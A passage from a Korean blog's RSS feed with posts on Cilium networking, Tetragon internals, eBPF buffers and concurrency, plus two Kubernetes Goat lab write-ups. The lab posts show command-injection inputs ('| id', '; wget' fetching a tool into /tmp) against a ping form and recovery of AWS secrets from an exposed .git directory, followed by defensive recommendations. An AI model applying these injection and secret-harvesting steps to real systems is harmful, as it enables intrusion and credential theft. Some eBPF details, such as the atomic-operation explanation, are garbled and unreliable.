<li><strong>Pod 생성</strong><ul>
<li><code>kubectl</code> $\rightarrow$ <strong>K8s API Server</strong>
사용자가 <code>kubectl</code> 명령을 통해 <strong>pod</strong> 생성에 대한 요청이 들어오면 <strong>API Server</strong>가 이를 수신하고 적절한 <strong>Worker Node</strong>에 할당한다.</li>
<li><strong>kubelet</strong> $\rightarrow$ <strong>CRI</strong></li>
<li><em>kubelet*</em>이 할당한 <strong>pod</strong> 정보를 확인하고 <strong>CRI</strong>에 컨테이너 생성을 요청한다.</li>
<li><strong>CRI</strong> $\rightarrow$ <code>cni-add()</code></li>
<li><em>CRI*</em>는 <strong>CNI</strong>를 생성하고, 네트워크 구성을 위해 <strong>CNI</strong> 규격에 따라 <code>cni-add()</code> 명령을 호출한다.</li>
</ul>
</li>
<li><strong>Cilium, eBPF Map 업데이트 (User space)</strong><ul>
<li><strong>Cilium Plugin / Cilium Agent</strong></li>
<li><em>CRI*</em>로부터 <strong>Cilium Plugin</strong>이 요청을 받아 노드에 <strong>Daemon Set</strong>으로 실행중인 <strong>Cilum Agent</strong>와 통신한다. <strong>Cilium Agent</strong>는 해당 <strong>pod</strong>에 할당할 <strong>IP</strong>, 보안 정책 등을 결정한다.</li>
<li><code>bpf_syscall()</code> $\rightarrow$ <strong>eBPF Map</strong></li>
<li><em>Cilium Agent*</em>가 <strong>eBPF Program</strong> 로드 또는 상태 변경을 위해 <code>bpf</code> <strong>System Call</strong>을 수행한다. 이를 통해 네트워크 경로, IP, 보안 정책 등 네트워크 정보가 <strong>eBPF Map</strong>에 저장된다.</li>
</ul>
</li>
<li><strong>Kernel Space 패킷 제어</strong><ul>
<li><strong>eBPF Hook &amp; eBPF Map</strong>
네트워크 인터페이스나 소켓 계층에 부착된 <strong>eBPF Program</strong>은 패킷이 들어오고 나갈 때마다 실행된다. <strong>Cilium Agent</strong>가 업데이트한 <strong>eBPF Map</strong>의 데이터를 실시간으로 참조하여 패킷을 처리한다.</li>
<li><strong>Linux Kernel Network Stack</strong> $\rightarrow$ <strong>Pod</strong></li>
<li><em>eBPF Program*</em>의 필터링 및 라우팅을 거친 패킷은 커널 네트워크 스택을 통과 또는 <strong>eBPF</strong> 기반 우회를 통해 목적지 컨테이너로 전달된다.<blockquote>
<p><strong>eBPF 기반 우회 전달</strong>
패킷이 <strong>NIC</strong>에 도달하는 최하단 단계에서 패킷을 가로채서 바로 목적지 <strong>Pod</strong>로 전달하는 것을 의미한다. 이미 어떤 IP의 <strong>Pod</strong>가 어떤 인터페이스와 연결되어 있는지에 대한 정보가 있기 때문에 커널 네트워크 스택 전반을 모두 거칠 필요가 없다.</p>
</blockquote>
</li>
</ul>
</li>
</ol>
<h2 id="정리">정리</h2>
<p>먼저 <strong>Cilium</strong>과 <strong>Tetragon</strong>, <strong>Hubble</strong>의 관계를 분석하기 전 <strong>CNI</strong>의 개념과 <strong>Cilium</strong>의 동작 방식에 대해 정리 해봤다. 다음 포스트에서는 <strong>Tetragon</strong>과 <strong>Hubble</strong>이 어떻게 상호적으로 동작하는지 정리 해보도록 하겠다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Tetragon 구조 분석]]></title>
            <link>https://velog.io/@_sychoii/Tetragon-%EA%B5%AC%EC%A1%B0-%EB%B6%84%EC%84%9D</link>
            <guid>https://velog.io/@_sychoii/Tetragon-%EA%B5%AC%EC%A1%B0-%EB%B6%84%EC%84%9D</guid>
            <pubDate>Thu, 11 Jun 2026 04:11:25 GMT</pubDate>
            <description><![CDATA[<h2 id="들어가며">들어가며</h2>
<p>CNCF 졸업 프로젝트인 Cilium에서 파생된 프로젝트인 Tetragon의 내부 구조에 대해서 알아보려고 한다. 탐지 규칙을 작성, 정의한 규칙들이 어떻게 적용되어 동작하는지를 중점적으로 정리 해보겠다.</p>
<h2 id="tetragon-architecture">Tetragon Architecture</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/874c0d3e-5df3-4e7c-bec9-4a9260c909d7/image.png" alt=""></p>
<blockquote>
<h4 id="출처">출처</h4>
<p>Her, Jin, et al. &quot;An In-Depth Analysis of eBPF-Based System Security Tools in Cloud-Native Environments.&quot; IEEE Access (2025).</p>
</blockquote>
<p>다른 eBPF 기반 도구들과 마찬가지로 User Space와 Kernel Space를 분리하여 생각해야한다. 실질적인 <strong>이벤트를 수집</strong>하는 역할은 <strong>eBPF Program</strong> 즉,Kernel Space에서 이루어지고 <strong>탐지 규칙 적용 및 관리</strong>는 User Space에서 이루어진다고 생각하면 된다.</p>
<h3 id="user-space">User Space</h3>
<p>먼저 User Space에 <strong>Observer</strong>, <strong>SensorManager</strong>, <strong>Informer</strong> 세 가지 구성 요소로 이루어져 있다.</p>
<ul>
<li>Observer
Observer는 <strong>SensorManager</strong>를 관리하고 <strong>eBPF Program</strong>에 의해 생성된 <strong>Perf 이벤트</strong>를 수신 및 처리하는 역할을 한다.</li>
<li>Informer</li>
<li><em>Tracingpolicy*</em>로 불리는 탐지 정책의 배포를 감지하고, <strong>SensorManager</strong>가 생성한 채널을 통해 정책 정보를 전송하는 역할을 한다.</li>
<li>SensorManager</li>
<li><em>Informer*</em>로부터 <strong>Signal</strong>을 받기 위한 채널을 구축한다. <strong>Signal</strong>이 수신되면 정의된 정책에 따라 <strong>eBPF Program</strong>과 <strong>eBPF Map</strong>을 구성하여 커널의 로드하는 역할을 한다.</li>
</ul>
<h3 id="kernel-space">Kernel Space</h3>
<p>Kernel Space에는 eBPF Program, eBPF Map이 존재한다.</p>
<ul>
<li>eBPF Program
탐지 정책에서 정의한 <strong>Hook Point</strong>에 붙어 이벤트를 수집하는 실질적인 역할을 한다.</li>
<li>eBPF Map</li>
<li><em>eBPF Program*</em>이 수집한 데이터를 저장하고, User Level의 어플리케이션이 접근하는 <strong>공유 저장소</strong> 역할을 한다.</li>
</ul>
<h2 id="특징-및-메커니즘">특징 및 메커니즘</h2>
<p>일반적으로 다른 eBPF 기반 도구들은 고정된 Hook Point를 사용하는 매커니즘을 갖지만, Tetragon은 SensorManager가 eBPF Program을 로드할 때 Hook Point를 동적으로 결정할 수 있어 유연성이 있다. 하지만 이러한 특성으로 eBPF Program 부착 단계에서 추가적인 오버헤드가 있다.</p>
<h3 id="tracingpolicy-배포">TracingPolicy 배포</h3>
<p>앞서 언급한 TracingPolicy는 사용자가 정의한 탐지 정책 파일을 말한다. <code>yaml</code> 형식으로 작성되고, 이 정책 파일에 부착할 Hook Point, 함수, 매개변수 등을 <code>and</code> <code>or</code> 조건을 통해 정의한다. 정책이 배포되는 워크플로우는 다음과 같다.</p>
<ol>
<li><strong>정책 전송</strong></li>
</ol>
<p><strong>TracingPolicy</strong>가 배포되면 <strong>Tetragon</strong> 내부 <strong>Informer</strong>가 <strong>SensorManger</strong>에 의해 구축된 채널을 통해 정책 정보를 전송한다.
2. <strong>정책 분류</strong>
<strong>SensorManager</strong>는 정책 해들러를 사용해 해당 정책을 Kprobe, Tracepoint, LSM 등 Hook을 분류한다.
3. <strong>빌드 및 배포</strong>
Builder를 통해 <strong>eBPF Program</strong>이 구축되고 배포된다.</p>
<p>또한 사용자는 정책 적용시에 <code>kubectl apply</code> 명령으로 쉽게 정책을 수정 및 적용할 수 있다. 이때 정책 수정으로 인한 다운타임이 발생하지 않는다는 것이 장점 중 하나이다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[eBPF perf buffer와 ring buffer 비교 분석]]></title>
            <link>https://velog.io/@_sychoii/eBPF-perf-buffer%EC%99%80-ring-buffer-%EB%B9%84%EA%B5%90-%EB%B6%84%EC%84%9D</link>
            <guid>https://velog.io/@_sychoii/eBPF-perf-buffer%EC%99%80-ring-buffer-%EB%B9%84%EA%B5%90-%EB%B6%84%EC%84%9D</guid>
            <pubDate>Wed, 10 Jun 2026 13:04:45 GMT</pubDate>
            <description><![CDATA[<h2 id="들어가며">들어가며</h2>
<p>eBPF 기반 탐지 도구들을 컨테이너 환경에서 운용을 한다고 할 때 컨테이너가 급작스럽게 삭제 또는 노드가 다운된다면 수집된 데이터들이 유실 될 가능성이 존재하지 않을까라는 생각이 들었다. 데이터가 유실 될 경우 보안 시스템의 신뢰성 저하는 당연하고 위협 행위가 발생했을 때 이를 대처하기 어려울 것이다.
따라서 eBPF 기반 도구들에 의해 수집된 데이터를 안전하게 저장하고 사용할 수 있게 하는 <strong>perf buffer</strong>와 <strong>bpf ring buffer</strong>에 대해 알아보도록 하겠다.</p>
<h2 id="ebpf-map">eBPF Map</h2>
<p>우선 <strong>perf buffer</strong>와 <strong>bpf ring buffer</strong>는 모두 <strong>eBPF Map</strong>이다. <strong>eBPF Map</strong>이란 Linux 커널 내에서 동작하는 <strong>eBPF Program</strong>과 User Level에서 동작하는 어플리케이션 간에 데이터를 주고 받을 수 있도록 하는 <strong>공유 데이터 저장소</strong>를 말한다. 이때 데이터는 <strong>key-value</strong> 형태로 저장되고, <strong>bpf ring buffer</strong>, <strong>hash table</strong> 등 여러가지 자료구조로 구현 가능하다.</p>
<h2 id="데이터-흐름">데이터 흐름</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/7c284d11-a3e7-4883-91ff-2894fa4c9b64/image.png" alt=""></p>
<p>위 그림은 대략적인 데이터 흐름에 대한 예시이다. <strong>Kprobe</strong>라는 훅에 부착된 <strong>eBPF Program</strong>이 수집한 데이터를 Helper 함수라고 하는 API를 통해서 Map에 데이터가 전달된다. 역으로 참조할 때도 Helper 함수를 이용한다. User Level에 위치한 어플리케이션이 Map에 접근할 때는 <code>bpf()</code> System Call을 통해 접근한다.</p>
<blockquote>
<h4 id="접근시-사용-api">접근시 사용 API</h4>
</blockquote>
<ul>
<li><strong>어플리케이션</strong><ul>
<li><code>BPF_MAP_LOOKUP_E_ELEM</code>: 데이터 조회</li>
<li><code>BPF_MAP_UPDATE_ELEM</code>: 데이터 추가 / 수정</li>
<li><code>BPF_MAP_DELETE_ELEM</code>: 맵 데이터 삭제</li>
</ul>
</li>
<li><strong>eBPF 프로그램</strong><ul>
<li><code>bpf_map_lookup_elem()</code>: 맵 조회    </li>
<li><code>bpf_map_update_elem()</code>: 맵 데이터 업데이트</li>
<li><code>bpf_map_delete_elem()</code>: 맵 데이터 삭제</li>
</ul>
</li>
</ul>
<h2 id="perf-buffer">Perf Buffer</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/0740e547-16e4-4b76-ac95-f75285dbea12/image.png" alt=""></p>
<blockquote>
<p>이미지 출처: <a href="https://kubefront.net/system/ebpf/ring-buffer-vs-perf-buffer/">https://kubefront.net/system/ebpf/ring-buffer-vs-perf-buffer/</a></p>
</blockquote>
<p>앞서 언급한 Map의 형태중 하나가 <strong>Perf Buffer</strong>이다. <strong>Perf Buffer</strong>는 cpu 코어 당 개별적인 Ring Buffer를 독립적으로 할당하는 방식이다. Buffer를 개별적으로 할당하기 때문에 데이터 동기화를 위한 <strong>Lock</strong>에 대한 경합이 발생하지 않아 <strong>Write</strong> 작업에서의 성능이 매우 좋다는 장점이 있다.
하지만 cpu 간 <strong>이벤트 순서 지정</strong>이 어렵고, cpu 코어당 개별 buffer 할당 방식으로 인해 이벤트가 특정 buffer에 몰리는 상황이 발생하면 시스템 전체적으로 봤을 때 <strong>메모리 낭비</strong>가 발생한다. 또한, <strong>Perf Buffer</strong>는 데이터가 들어오면 User Level에 Alert를 보내는데, 이벤트가 폭증하면 이 과정에서 과도한 <strong>Context Switching</strong>이 발생하여 <strong>Buffer Overflow</strong>, <strong>데이터 유실</strong>과 같은 문제가 발생할 수 있다.</p>
<p>cpu간 ring buffer 공유를 통해 <strong>메모리 활용 효율</strong>을 높이고, 여러 cpu에 걸쳐서도 시간상 순차적으로 발생하는 <strong>이벤트 순서를 유지</strong>하기 위해 리눅스 커널 5.8 버전부터 <strong>bpf Ring Buffer</strong>를 도입하여 사용한다.</p>
<h2 id="bpf-ring-buffer">BPF Ring Buffer</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/2b28fad9-268d-4b13-85f0-c5ab77793ff8/image.png" alt=""></p>
<p><strong>BPF Ring Buffer</strong>는 커널 이벤트나 데이터 저장을 위해 모든 CPU가 공유하는 순환 buffer를 사용한다. 모든 cpu 코어가 <strong>하나의 ring buffer</strong>를 공유하기 때문에 메모리 낭비가 적고, 이벤트 폭증이 발생해도 데이터 유실을 Perf Buffer 방식보다 효과적으로 방지할 수 있다.
또한, 데이터 전송시에 전통적인 I/O 방식이 아닌 <code>mmap</code> 방식을 사용해서 <strong>데이터 복사 오버헤드</strong>를 줄인다.</p>
<table>
<thead>
<tr>
<th>비교</th>
<th>I/O</th>
<th>mmap</th>
</tr>
</thead>
<tbody><tr>
<td>전송방식</td>
<td>디스크 → 커널 페이지 캐시 → 유저 버퍼 복사</td>
<td>디스크 → 커널 페이지 캐시 ⇄ 유저 가상 메모리 직접 링크</td>
</tr>
<tr>
<td>메모리 복사 횟수</td>
<td>2회 (디스크→커널, 커널→유저)</td>
<td>1회 (디스크→커널/유저 공유 메모리)</td>
</tr>
<tr>
<td>시스템콜 호출 횟수</td>
<td>데이터를 읽을 때마다 매번 호출</td>
<td>최초 매핑 시 1회만 호출 (이후 포인터로 접근)</td>
</tr>
<tr>
<td>메모리 효율성</td>
<td>커널과 유저 공간에 중복 데이터 존재</td>
<td>공간 공유로 메모리 낭비 없음</td>
</tr>
</tbody></table>
<p>디스크 파일 내용을 읽어오는 과정을 예로 비교 해보면 위와 같다.</p>
<p><code>mmap</code>이 호출되면 OS 내부에서는 다음과 같이 가상 메모리 조작이 일어난다.</p>
<ol>
<li><strong>가상메모리 영역 할당</strong>
mmap()을 호출하면 커널은 해당 프로세스의 가상 메모리 공간에 요청한 크기만큼의 <strong>빈 주소영역</strong>을 확보한다.</li>
<li><strong>페이지 테이블 매핑</strong>
확보한 가상 주소가 실제 대상을 가리키도록 <strong>페이지 테이블</strong>을 설정한다.</li>
<li><strong>페이지 폴트, 로드</strong>
어플리케이션이 매핑된 주소의 포인터를 통해 데이터에 접근하는 순간 <strong>인터럽트</strong>를 발생시킨다. 커널은 이 인터럽트를 받아 파일 내용을 <strong>커널 메모리로 복사</strong>하고 확보한 가상주소와 동기화 시킨다.</li>
</ol>
<p>이 과정을 거쳐 User Level에서는 이후 <strong>System call</strong> 없이 <code>ptr[0]</code>과 같은 방식으로 데이터에 접근할 수 있다. <strong>BPF Ring Buffer</strong>는 이러한 방식을 채택하여 사용하기 때문에 <strong>Perf Buffer</strong>와 달리 오버헤드가 적고 안정성을 극대화 할 수 있는 것이다.</p>
<h2 id="정리">정리</h2>
<p>일반적으로 사용되는 eBPF 기반 탐지 도구들이 이러한 방식을 채택하기 때문에 데이터 손실과 같은 치명적인 문제를 최소화 하여 안정적으로 운용될 수 있는 것이다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[K8s-goat] DIND (docker-in-docker) exploitation]]></title>
            <link>https://velog.io/@_sychoii/K8s-goat-DIND-docker-in-docker-exploitation</link>
            <guid>https://velog.io/@_sychoii/K8s-goat-DIND-docker-in-docker-exploitation</guid>
            <pubDate>Mon, 20 Apr 2026 13:13:14 GMT</pubDate>
            <description><![CDATA[<h2 id="문제">문제</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/d45a71ed-59fd-4112-a90f-307b0d6202be/image.png" alt=""></p>
<p>이번 문제는 컨테이너 내부에서 호스트 시스템의 컨테이너 런타임 소켓에 접근할 수 있을 때 발생하는 보안 위험에 대해 다루고 있다.
<strong>DIND(Docker In Docker)</strong> 방식은 개발 편의성과 CI/CD 구성의 단순함 때문에 과거부터 널리 사용되어 왔다. 하지만 클라우드 네이티브 환경에서 호스트 소켓을 공유하는 행위는 컨테이너의 근본적인 격리 원칙에 위배된다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/40d62277-c846-4a54-b111-18614b55cf06/image.png" alt=""></p>
<p>문제에서 확인할 수 있는 웹 사이트는 위와 같다. &quot;Ping Your Severs&quot;라고 되어 있는 것으로 보아 특정 IP로 Ping을 보낼 수 있는 것 같다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/83249d4c-82f5-49cd-9247-e5cc2460165b/image.png" alt=""></p>
<p>127.0.0.1을 입력하고 Submit 버튼을 누르면 아래와 같이 Ping을 수행한 결과를 확인할 수 있다. 일반적으로 터미널에서 ping을 보내는 것과 다를게 없다. 그럼 <strong>RCE(Remote Commend Execution)</strong>가 가능하지 않을까?</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/0906fadf-6ba6-41c3-a734-ccc9666a04c0/image.png" alt=""></p>
<p><code>| id</code> 명령을 입력하고 Submit을 눌렀더니 실제 <code>id</code> 명령을 수행했을 때의 결과와 같은 결과를 확인할 수 있었다. 즉, 원격으로 명령어를 실행하는 것이 가능하다는 것을 알 수 있었다. 이제 해당 시스템에 마운트 되어 있는 파일에 대한 정보를 확인 해보자.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/257e9b95-bf26-4383-8444-ba491d2c8e33/image.png" alt=""></p>
<p><code>; mount</code> 명령을 입력해서 실행한 결과 위와 같은 결과를 확인할 수 있다. <code>(rw,relatime,errors=remount-ro)</code>는 마운트 지점에 적용된 옵션으로 읽기와 쓰기가 가능하다는 것이고, 에러가 발생하면 remout한다는 것이다. <code>tmpfs</code>는 메모리 기반의 임시 파일 시스템이고 <code>/run/containerd/containerd.sock</code> 컨테이너 통신 소켓을 읽기 전용으로 마운트 했다는 것을 알 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/a69bbbbe-cb1a-4b94-82e7-644354aa30c5/image.png" alt=""></p>
<p><code>crictl</code>이라는 K8s 환경에서 컨테이너 런타임과 상호작용을 위한 cli 도구를 내부에 받고, 이를 활용해서 내부 정보를 확인 해보자.</p>
<pre><code class="language-bash"># crictl 다운로드 (aarch64)
;wget https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.27.1/crictl-v1.27.1-linux-amd64.tar.gz -O /tmp/crictl-v1.27.1.tar.gz

# 압축 해제
;tar -xvf /tmp/crictl-v1.27.1.tar.gz -C /tmp/</code></pre>
<p><code>crictl</code> 바이너리를 다운로드 받고 명령어를 실행하면 Container 이미지에 대한 정보들을 확인할 수 있고, 이를 통해 권한 상승, 컨테이너 소캣을 활용한 컨테이너 탈출 등 다양한 공격이 가능하다.</p>
<h2 id="권고사항">권고사항</h2>
<p>해당 문제에서 발생하고 있는 취약점을 방지하기 위해 <strong>인프라</strong>, <strong>시스템 및 런타임</strong>, <strong>어플리케이션</strong> 세 가지 측면에서 보안 권고 사항을 작성 해보겠다.</p>
<h3 id="인프라">인프라</h3>
<ol>
<li><p>호스트 소켓 마운트 금지
<code>/var/run/docker.sock</code> 또는 <code>containerd.sock</code>과 같은 호스트의 컨테이너 런타임 소켓을 컨테이너 내부에 마운트하지 않아야 한다.
이는 컨테이너가 호스트의 컨테이너 엔진에 명령을 내릴 수 있게 허용하여, 사실상 <strong>호스트 노드에 대한 루트 권한을 부여</strong>하는 것과 같다.</p>
</li>
<li><p>특권모드 비활성화</p>
</li>
</ol>
<p><strong>Pod</strong>의 <strong>securityContext</strong>에서 <code>privileged: true</code> 설정을 사용하지 않아야 한다. 특권 컨테이너는 호스트의 모든 장치에 접근할 수 있어 탈출 공격에 노출될 위험이 높아진다.</p>
<h3 id="시스템-및-런타임">시스템 및 런타임</h3>
<ol>
<li><p>비루트(Non-root) 사용자 실행
컨테이너 내부 프로세스를 루트 권한이 아닌 <strong>일반 사용자 권한으로 실행</strong>해야 한다. 만약 소켓이 마운트되어 있더라도, 일반 사용자 권한으로는 소켓 파일에 대한 <strong>읽기/쓰기 권한이 제한</strong>되어 공격을 지연시킬 수 있습니다.</p>
</li>
<li><p>커널레벨 런타임 보안 도구 활용</p>
</li>
</ol>
<p><strong>Falco</strong>나 <strong>Tetragon</strong>과 같은 도구를 사용하여 컨테이너 내부에서 발생하는 비정상적인 소켓 파일 접근, 특정 바이너리(crictl, docker 등)의 실행, 또는 민감한 파일 수정을 실시간으로 탐지하고 차단한다.</p>
<h3 id="어플리케이션">어플리케이션</h3>
<ol>
<li>입력값 검증 및 명령어 주입 방지
시나리오에서 발생한 최초 침투 경로는 <strong>Command Injection</strong>이다. 애플리케이션 단계에서 사용자 입력값을 엄격히 검증하고, 시스템 명령어를 직접 호출하는 로직을 지양해야 한다.</li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA[[K8s-goat] Sensitive keys in codebases]]></title>
            <link>https://velog.io/@_sychoii/K8s-goat-Sensitive-keys-in-codebases</link>
            <guid>https://velog.io/@_sychoii/K8s-goat-Sensitive-keys-in-codebases</guid>
            <pubDate>Mon, 13 Apr 2026 09:53:57 GMT</pubDate>
            <description><![CDATA[<h2 id="문제">문제</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/933daefb-a2bb-4c1a-98a8-74ccfb6f9179/image.png" alt=""></p>
<p>서비스 개발시에 배포 전에 서비스 코드 또는 Commit 기록에 <strong>Password, Secret과 같은 민감 정보</strong>를 지우지 않고 배포하는 경우가 있음. 해당 문제는 이러한 취약점을 찾아내는 문제다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/9a5ee5af-84ac-444c-8b11-6a250b6c4e42/image.png" alt=""></p>
<p>문제 설명에 <strong>Git, Docker, AWS</strong> 등으로 CI/CD 파이프라인을 구성했고, 배포 했다고 한다.</p>
<h2 id="풀이-1">풀이 1</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/bbe8929f-e4c0-4a24-b80a-5bd41138a5ee/image.png" alt=""></p>
<p>git config 정보들을 <code>/.git/config</code> 엔드포인트에서 확인할 수 있다. 이는 웹서버에 <code>.git</code>이 노출되어 있음을 의미한다.
해당 내용을 살펴보면 <code>logallrefupdates</code> 옵션이 true 값으로 설정 되어 있으므로, 변경사항이 <code>.git/logs/</code>에 기록됨을 알 수 있다. 따라서 <strong>git-dumper</strong>를 활용하여 <code>.git</code> 정보를 이용해서 소스코드를 복구 해보도록 하겠다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/7fb4eae7-0341-45ac-a386-b29cfbcbd59f/image.png" alt=""></p>
<pre><code class="language-bash">git-dumper {url} {저장할 디렉터리}</code></pre>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/0f640b88-bf6d-4ce0-8bd1-dec66f6006e7/image.png" alt=""></p>
<p>위와 같이 복구한 소스코드를 확인할 수 있다. 이제 <strong>commit 기록</strong>을 보기 위해 <code>git log</code> 명령을 수행하자.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/f4d4ea12-5909-463d-bd83-b9236bf61fbb/image.png" alt=""></p>
<p><strong>git log</strong>를 보면 commit 기록을 확인할 수 있다. commit hash값도 있기 때문에 git checkout 명령으로 해당 내용들을 알아보도록 하겠다.
총 7개 Commit 중 위에서 네 번째 Commit의 message를 보면 <strong>&quot;Inlcuded custom environmental variables&quot;</strong> 라고 되어 있고, 환경변수 값을 포함하고 업데이트 했다는 것을 알 수 있다.</p>
<p>개발 편의성을 위해 <strong>환경변수 또는 file</strong>로 민감 정보를 하드코딩하여 발생하는 문제들이 많기 때문에 해당 커밋에 대해 더 자세하게 보도록 하겠다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/d5e3490b-b047-43f0-a624-763ca9669ecb/image.png" alt=""></p>
<pre><code class="language-bash">git checkout d7c173ad183c574109cd5c4c648ffe551755b576</code></pre>
<p>경고 메세지가 발생했지만 해당 commit 시점으로 이동이 완료됐음을 알 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/a9e31f8f-b66a-4e42-b7d5-5ddbb2970e66/image.png" alt=""></p>
<p>이전과 달리 <code>ls -al</code> 명령을 수행했을 때 <code>.env</code> 파일이 생성됐음을 알 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/2782b7f2-53a3-4145-8373-e9fb739b9b6d/image.png" alt=""></p>
<p>해당 파일을 보면 aws 시크릿과 해당 문제의 flag를 흭득할 수 있다.</p>
<h2 id="풀이-2">풀이 2</h2>
<p>두 번째 풀이는 해당 문제가 운영되는 pod에 접속해서 풀이 해봤다. <code>build-code-deployment</code> pod에 접속하면 아래와 같이 첫 번째 풀이와 같이 디렉터리 정보를 확인할 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/5632fa4d-996a-4bd0-a8c5-765b900d1fd2/image.png" alt=""></p>
<p><code>.git</code> 디렉터리에 <code>HEAD</code> 파일을 읽어보면 아래와 같이 Commit 기록을 확인할 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/a08bffb9-4f37-417c-ab68-c24e9393a6b4/image.png" alt=""></p>
<p>해당 풀이에선 <strong>trufflehog</strong>라는 도구를 활용할 것이다. <strong>trufflehog</strong>는 하드코딩 된 민감 정보를 스캔하는 도구다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/7e9f5bf5-5fec-4bae-bba7-baae52fe7809/image.png" alt=""></p>
<p><code>trufflehog .</code> 명령으로 스캔을 하면 첫 번째 풀이와 마찬가지로 aws 접근 키, 시크릿, 해당 문제의 flag를 취득할 수 있다.</p>
<h2 id="권고-사항">권고 사항</h2>
<ol>
<li><p><strong>민감 정보 하드코딩 금지</strong>
인프라 접근 키, Secret과 같은 민감 정보는 환경변수, 파일에 하드코딩 하여 관리하는 것이 아닌 <strong>Harshcorp Valut</strong>, <strong>AWS Secret Manager</strong> 등과 같은 Credential 관리 서비스를 도입하여 관리 해야한다.</p>
</li>
<li><p><strong>gitignore 활용</strong>
배포시에 민감한 정보가 담긴 파일을 <strong>gitignore</strong> 기능을 활용하여 제외 해야한다.</p>
</li>
<li><p><strong>배포 전 스캐닝 도구를 통한 검사 수행</strong>
앞선 풀이에서 활용한 <strong>trufflehog</strong>와 같은 스캐닝 도구를 활용하여 민감 정보가 담겨 있는지 먼저 확인 해야한다.</p>
</li>
<li><p><strong>민감 정보 수명 설정</strong>
민감 정보의 수명 설정을 통해 해당 정보가 유출되더라도 유출된 정보로 접근할 수 없도록 한다.</p>
</li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA[동시성]]></title>
            <link>https://velog.io/@_sychoii/%EB%8F%99%EC%8B%9C%EC%84%B1</link>
            <guid>https://velog.io/@_sychoii/%EB%8F%99%EC%8B%9C%EC%84%B1</guid>
            <pubDate>Tue, 24 Mar 2026 05:26:49 GMT</pubDate>
            <description><![CDATA[<h2 id="들어가며">들어가며</h2>
<p>Kernel Level에서 동작하는 <strong>eBPF Program</strong>들이 수집한 정보를 <strong>eBPF Map</strong>에 저장하여 <strong>상태를 공유</strong>한다고 했다. eBPF Program이 정보를 수집하고 Map에 기록할 때 복수의 프로그램이 공유 자원에 접근을 시도하면 <strong>Race Condition</strong>, <strong>Dead Lock</strong>과 같은 상황에 놓일 수 있는데, 이번 포스트에선 이러한 문제를 어떻게 해결하는지 정리 해보도록 하겠다.</p>
<blockquote>
<h4 id="ebpf-map">eBPF Map</h4>
<p><a href="https://velog.io/@_sychoii/eBPF-Map%EC%9D%B4%EB%9E%80-%EB%AC%B4%EC%97%87%EC%9D%B8%EA%B0%80">eBPF Map</a>에 대해 정리한 포스트입니다.</p>
</blockquote>
<h2 id="atomic-operation">Atomic Operation</h2>
<p><strong>Atomic Operation</strong>은 멀티 스레드 환경에서 데이터 무결성 유지를 위한 연산이다. 예를 들어 일반적인 연산은 초기 <code>i</code> 값이 있고 1을 더하는 연산을 하면 <code>i+1</code>을 반환하는 형식이다. 하지만 <strong>Atomic Operation</strong>을 통한 연산을 수행하면 같은 연산을 해도 <code>i</code>라는 초기값이 그대로 반환된다.</p>
<p><strong>Atomic Operation</strong>은 외부에서 아예 시작되지 않은 것처럼 보여야하고, 연산이 수행되는 동안 <strong>Interrupt</strong>나 <strong>Context Switching</strong>에 의해 중단되지 않는다는 특성을 갖는다. 이를 통해 여러 Program이 연산을 동시에 수행할 수 있는 것이다. 이런 연산은 다음과 같은 함수들을 이용해서 수행할 수 있다.</p>
<ul>
<li><code>__sync_fetch_and_add(*a, b)</code>
주소 <code>a</code> 에서 값을 읽어와 <code>b</code> 를 더한 후 <code>a</code> 위치의 원래 값을 반환</li>
<li><code>__sync_fetch_and_sub(*a, b)</code>
위에서 add 함수와 마찬가지로 동작하고 뺄셈 연산</li>
<li><code>__sync_fetch_and_or(*a, b)</code>
주소 <code>a</code>의 값을 읽고, 여기에 특정 숫자를 비트 OR 연산한 뒤 다시 저장하며, 원래 a 값을 반환</li>
<li><code>__sync_fetch_and_xor(*a, b)</code>
주소 <code>a</code>의 값을 읽고, 특정 숫자를 비트 XOR 연산한 뒤 다시 저장하며, 원래 a 값을 반환</li>
<li><code>__sync_val_compare_and_swap(*a, b, c)</code>
주소 <code>a</code>의 값을 읽어 <code>b</code>, <code>c</code>에 대해 swap 연산을 한 뒤 원래 <code>a</code>의 값을 반환</li>
<li><code>__sync_lock_test_and_set(*a, b)</code>
주소 <code>a</code>의 값을 읽어 <code>b</code>로 설정하고 원래 <code>a</code>의 값을 반환</li>
</ul>
<p>위와 같이 공유 자원에 대해 각각의 연산을 수행해도 반환 값은 항상 동일한 값으로 유지되어 무결성이 유지되고, <code>Race Condition</code>과 같은 문제 상황이 발생하지 않는 것이다.</p>
<h2 id="spin-lock">Spin Lock</h2>
<p>동시성을 위한 또다른 해결 방법으로 <strong>Spin Lock</strong> 사용이 있다. <strong>Spin Lock</strong>은 <strong>Semaphore, Mutex</strong>와 같이 상호 배제를 위한 방법으로 공유 자원에 대한 lock을 획득할 때까지 Thread가 멈추지 않고 루프를 돌며(<strong>busy-waiting</strong>) 재시도하는 동기화 기법이다.</p>
<pre><code class="language-c">struct concurrent_element {
